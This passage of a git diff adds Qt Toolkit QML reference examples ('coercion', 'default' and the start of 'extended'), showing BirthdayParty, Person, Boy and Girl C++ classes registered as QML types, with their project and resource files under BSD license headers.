+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+// ![0]
+ qmlRegisterType<Person>();
+// ![0]
+ qmlRegisterType<Boy>("People", 1,0, "Boy");
+ qmlRegisterType<Girl>("People", 1,0, "Girl");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+
+ if (qobject_cast<Boy *>(party->host()))
+ qWarning() << "He is inviting:";
+ else
+ qWarning() << "She is inviting:";
+
+ for (int ii = 0; ii < party->guestCount(); ++ii)
+ qWarning() << " " << party->guest(ii)->name();
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/person.cpp b/examples/declarative/cppextensions/referenceexamples/coercion/person.cpp
new file mode 100644
index 00000000..865430f2
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/person.cpp
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+Person::Person(QObject *parent)
+: QObject(parent), m_shoeSize(0)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+int Person::shoeSize() const
+{
+ return m_shoeSize;
+}
+
+void Person::setShoeSize(int s)
+{
+ m_shoeSize = s;
+}
+
+// ![1]
+Boy::Boy(QObject * parent)
+: Person(parent)
+{
+}
+
+
+Girl::Girl(QObject * parent)
+: Person(parent)
+{
+}
+
+// ![1]
diff --git a/examples/declarative/cppextensions/referenceexamples/coercion/person.h b/examples/declarative/cppextensions/referenceexamples/coercion/person.h
new file mode 100644
index 00000000..9e1b6826
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/coercion/person.h
@@ -0,0 +1,82 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ int shoeSize() const;
+ void setShoeSize(int);
+private:
+ QString m_name;
+ int m_shoeSize;
+};
+
+
+// ![0]
+class Boy : public Person
+{
+ Q_OBJECT
+public:
+ Boy(QObject * parent = 0);
+};
+
+
+class Girl : public Person
+{
+ Q_OBJECT
+public:
+ Girl(QObject * parent = 0);
+};
+
+// ![0]
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/default/birthdayparty.cpp b/examples/declarative/cppextensions/referenceexamples/default/birthdayparty.cpp
new file mode 100644
index 00000000..85904a88
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/birthdayparty.cpp
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "birthdayparty.h"
+
+BirthdayParty::BirthdayParty(QObject *parent)
+: QObject(parent), m_host(0)
+{
+}
+
+Person *BirthdayParty::host() const
+{
+ return m_host;
+}
+
+void BirthdayParty::setHost(Person *c)
+{
+ m_host = c;
+}
+
+QDeclarativeListProperty<Person> BirthdayParty::guests()
+{
+ return QDeclarativeListProperty<Person>(this, m_guests);
+}
+
+int BirthdayParty::guestCount() const
+{
+ return m_guests.count();
+}
+
+Person *BirthdayParty::guest(int index) const
+{
+ return m_guests.at(index);
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/default/birthdayparty.h b/examples/declarative/cppextensions/referenceexamples/default/birthdayparty.h
new file mode 100644
index 00000000..14b9fbe6
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/birthdayparty.h
@@ -0,0 +1,70 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef BIRTHDAYPARTY_H
+#define BIRTHDAYPARTY_H
+
+#include <QObject>
+#include <QDeclarativeListProperty>
+#include "person.h"
+
+// ![0]
+class BirthdayParty : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(Person *host READ host WRITE setHost)
+ Q_PROPERTY(QDeclarativeListProperty<Person> guests READ guests)
+ Q_CLASSINFO("DefaultProperty", "guests")
+public:
+ BirthdayParty(QObject *parent = 0);
+
+ Person *host() const;
+ void setHost(Person *);
+
+ QDeclarativeListProperty<Person> guests();
+ int guestCount() const;
+ Person *guest(int) const;
+
+private:
+ Person *m_host;
+ QList<Person *> m_guests;
+};
+// ![0]
+
+#endif // BIRTHDAYPARTY_H
diff --git a/examples/declarative/cppextensions/referenceexamples/default/default.pro b/examples/declarative/cppextensions/referenceexamples/default/default.pro
new file mode 100644
index 00000000..aa72c11a
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/default.pro
@@ -0,0 +1,17 @@
+TEMPLATE = app
+TARGET = default
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ person.cpp \
+ birthdayparty.cpp
+HEADERS += person.h \
+ birthdayparty.h
+RESOURCES += default.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/default
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS default.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/default
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/default/default.qrc b/examples/declarative/cppextensions/referenceexamples/default/default.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/default.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/default/example.qml b/examples/declarative/cppextensions/referenceexamples/default/example.qml
new file mode 100644
index 00000000..d3bd0279
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/example.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+BirthdayParty {
+ host: Boy {
+ name: "Bob Jones"
+ shoeSize: 12
+ }
+
+ Boy { name: "Leo Hodges" }
+ Boy { name: "Jack Smith" }
+ Girl { name: "Anne Brown" }
+}
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/default/main.cpp b/examples/declarative/cppextensions/referenceexamples/default/main.cpp
new file mode 100644
index 00000000..46bb92e6
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/main.cpp
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QCoreApplication>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include "birthdayparty.h"
+#include "person.h"
+
+int main(int argc, char ** argv)
+{
+ QCoreApplication app(argc, argv);
+
+ qmlRegisterType<BirthdayParty>("People", 1,0, "BirthdayParty");
+ qmlRegisterType<Person>();
+ qmlRegisterType<Boy>("People", 1,0, "Boy");
+ qmlRegisterType<Girl>("People", 1,0, "Girl");
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, QUrl("qrc:example.qml"));
+ BirthdayParty *party = qobject_cast<BirthdayParty *>(component.create());
+
+ if (party && party->host()) {
+ qWarning() << party->host()->name() << "is having a birthday!";
+
+ if (qobject_cast<Boy *>(party->host()))
+ qWarning() << "He is inviting:";
+ else
+ qWarning() << "She is inviting:";
+
+ for (int ii = 0; ii < party->guestCount(); ++ii)
+ qWarning() << " " << party->guest(ii)->name();
+ } else {
+ qWarning() << component.errors();
+ }
+
+ return 0;
+}
diff --git a/examples/declarative/cppextensions/referenceexamples/default/person.cpp b/examples/declarative/cppextensions/referenceexamples/default/person.cpp
new file mode 100644
index 00000000..10d30668
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/person.cpp
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "person.h"
+
+Person::Person(QObject *parent)
+: QObject(parent), m_shoeSize(0)
+{
+}
+
+QString Person::name() const
+{
+ return m_name;
+}
+
+void Person::setName(const QString &n)
+{
+ m_name = n;
+}
+
+int Person::shoeSize() const
+{
+ return m_shoeSize;
+}
+
+void Person::setShoeSize(int s)
+{
+ m_shoeSize = s;
+}
+
+
+Boy::Boy(QObject * parent)
+: Person(parent)
+{
+}
+
+
+Girl::Girl(QObject * parent)
+: Person(parent)
+{
+}
+
diff --git a/examples/declarative/cppextensions/referenceexamples/default/person.h b/examples/declarative/cppextensions/referenceexamples/default/person.h
new file mode 100644
index 00000000..faa0b8c1
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/default/person.h
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PERSON_H
+#define PERSON_H
+
+#include <QObject>
+
+class Person : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize)
+public:
+ Person(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &);
+
+ int shoeSize() const;
+ void setShoeSize(int);
+private:
+ QString m_name;
+ int m_shoeSize;
+};
+
+class Boy : public Person
+{
+ Q_OBJECT
+public:
+ Boy(QObject * parent = 0);
+};
+
+class Girl : public Person
+{
+ Q_OBJECT
+public:
+ Girl(QObject * parent = 0);
+};
+
+#endif // PERSON_H
diff --git a/examples/declarative/cppextensions/referenceexamples/extended/example.qml b/examples/declarative/cppextensions/referenceexamples/extended/example.qml
new file mode 100644
index 00000000..7c4fcc4f
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/extended/example.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import People 1.0
+
+// ![0]
+QLineEdit {
+ leftMargin: 20
+}
+// ![0]
diff --git a/examples/declarative/cppextensions/referenceexamples/extended/extended.pro b/examples/declarative/cppextensions/referenceexamples/extended/extended.pro
new file mode 100644
index 00000000..fb263fd4
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/extended/extended.pro
@@ -0,0 +1,15 @@
+TEMPLATE = app
+TARGET = extended
+DEPENDPATH += .
+INCLUDEPATH += .
+QT += declarative
+
+# Input
+SOURCES += main.cpp \
+ lineedit.cpp
+HEADERS += lineedit.h
+RESOURCES += extended.qrc
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/extended
+sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS extended.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/referenceexamples/extended
+INSTALLS += target sources
diff --git a/examples/declarative/cppextensions/referenceexamples/extended/extended.qrc b/examples/declarative/cppextensions/referenceexamples/extended/extended.qrc
new file mode 100644
index 00000000..e2fa01d5
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/extended/extended.qrc
@@ -0,0 +1,5 @@
+<!DOCTYPE RCC><RCC version="1.0">
+<qresource>
+ <file>example.qml</file>
+</qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/referenceexamples/extended/lineedit.cpp b/examples/declarative/cppextensions/referenceexamples/extended/lineedit.cpp
new file mode 100644
index 00000000..207e6d10
--- /dev/null
+++ b/examples/declarative/cppextensions/referenceexamples/extended/lineedit.cpp
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
